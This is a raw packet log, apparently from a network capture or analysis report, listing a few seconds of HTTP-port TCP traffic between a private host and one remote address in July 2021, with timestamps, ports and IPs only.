Jul 19, 2021 18:35:48.752573013 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.752643108 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.752718925 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.831643105 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.831667900 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.831677914 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.831691027 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.831700087 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.831746101 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.831779003 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:48.831804991 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.831846952 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.831861973 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.910621881 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.910655022 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.912652969 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.912676096 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.932111979 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:48.932236910 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.339068890 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.340064049 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.422853947 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.423130035 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.423995018 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.424288034 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.424741983 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.425075054 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.428421021 CEST	80	49787	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.428517103 CEST	49787	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.506495953 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.506634951 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.507729053 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.507873058 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.507909060 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.507961988 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.508734941 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.508757114 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.508771896 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.508873940 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.509310961 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.509438992 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.509644032 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.509663105 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.509749889 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.509927034 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.509988070 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.510130882 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.510222912 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.590821981 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.590852022 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.590866089 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.590878963 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.591082096 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.591687918 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.591773033 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.592138052 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.592457056 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.592609882 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.595318079 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.600641966 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.673592091 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.673708916 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.674016953 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.674155951 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.677999020 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.678204060 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.683315039 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.683604956 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.683621883 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.683630943 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.683645010 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.683655024 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.683669090 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.683682919 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.685589075 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.756088018 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.756110907 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.756222010 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.766074896 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:49.766159058 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.976473093 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:49.978041887 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.060920000 CEST	80	49790	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.061100006 CEST	49790	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.072460890 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.072575092 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.073255062 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.073348999 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.073532104 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.073661089 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.167656898 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.167923927 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.168190956 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.168303013 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.168876886 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.168957949 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.169096947 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.169158936 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.169671059 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.169760942 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.169928074 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.169997931 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.170188904 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.170274973 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.171087027 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.171191931 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.171272039 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.171354055 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.171448946 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.171511889 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.171644926 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.171746016 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.261887074 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.261918068 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.261992931 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.262027025 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.262243986 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.262264013 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.262310982 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.262368917 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.277705908 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.277920008 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.357040882 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.358200073 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.425739050 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.465626001 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.465656042 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.465672970 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.465686083 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.465699911 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.465711117 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.465720892 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.465733051 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.465744972 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.498919010 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.502168894 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.701320887 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.702446938 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.798743963 CEST	80	49792	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.798856974 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.799040079 CEST	49792	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.799146891 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.800134897 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.800297976 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.800592899 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.800776005 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.896702051 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.896796942 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.897038937 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.897190094 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.897391081 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.897480011 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.897614956 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.897906065 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.898257017 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.898320913 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.898566961 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.898756981 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.898794889 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.898806095 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.898813009 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.898871899 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.898953915 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.898961067 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.899038076 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.899245977 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.899617910 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.993556976 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.993689060 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:50.993835926 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.993850946 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.993861914 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:50.993974924 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.024597883 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.024796963 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.090049028 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.090193033 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.090337992 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.090393066 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.090480089 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.090640068 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.122273922 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.122899055 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.122920990 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.123080969 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.123125076 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.123351097 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.189897060 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.191287994 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.191313028 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.191329002 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.191344023 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.191364050 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.191380978 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.191395998 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.202111959 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.211352110 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.535341978 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.539448023 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.632019043 CEST	80	49793	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.632145882 CEST	49793	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.633039951 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.635704041 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.636390924 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.636583090 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.636770010 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.637027025 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.729681969 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.729721069 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.729835987 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.730000973 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.730494976 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.730586052 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.730753899 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.730811119 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.731138945 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.731257915 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.731391907 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.731486082 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.731673956 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.731744051 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.731914997 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.731981039 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.732283115 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.732357979 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.732506990 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.732578993 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.732836962 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.732919931 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.733153105 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.733218908 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.824107885 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.824147940 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.825618029 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.825639009 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.825643063 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.825687885 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.825737000 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.825934887 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.825951099 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.825963974 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.825982094 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.825999975 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.826039076 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.826093912 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.826139927 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.826165915 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.919446945 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.919564962 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.920097113 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.920133114 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.920216084 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.920227051 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.920242071 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.920253992 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.920311928 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.920332909 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:51.920416117 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.920432091 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.920691967 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:51.920727015 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.012480974 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.012509108 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.012521982 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.012535095 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.013021946 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.013154030 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.233814955 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.235285997 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.319055080 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.319278955 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.320754051 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.320919991 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.321367025 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.321619034 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.335973978 CEST	80	49795	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.336080074 CEST	49795	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.404495001 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.404634953 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.405139923 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.405257940 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.406168938 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.406243086 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.406694889 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.406785011 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.406858921 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.406923056 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.407159090 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.407221079 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.407716990 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.407785892 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.407900095 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.407967091 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.408427000 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.408541918 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.409352064 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.409430981 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.409450054 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.409509897 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.488626003 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.488645077 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.488739014 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.488782883 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.489356041 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.489386082 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.489456892 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.493844986 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.493982077 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.499449015 CEST	49798	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.572730064 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.572761059 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.572802067 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.572830915 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.572873116 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.572890997 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.572896957 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.572911978 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.577517033 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.577953100 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.578238964 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.578252077 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.578263044 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.578269958 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.578280926 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.578334093 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.578376055 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.578403950 CEST	49797	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.578459024 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.582472086 CEST	80	49798	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.582581997 CEST	49798	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.583129883 CEST	49798	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:35:52.657630920 CEST	80	49797	185.114.247.54	192.168.2.6
Jul 19, 2021 18:35:52.657651901 CEST	80	49797	185.114.247.54	192.168.2.6
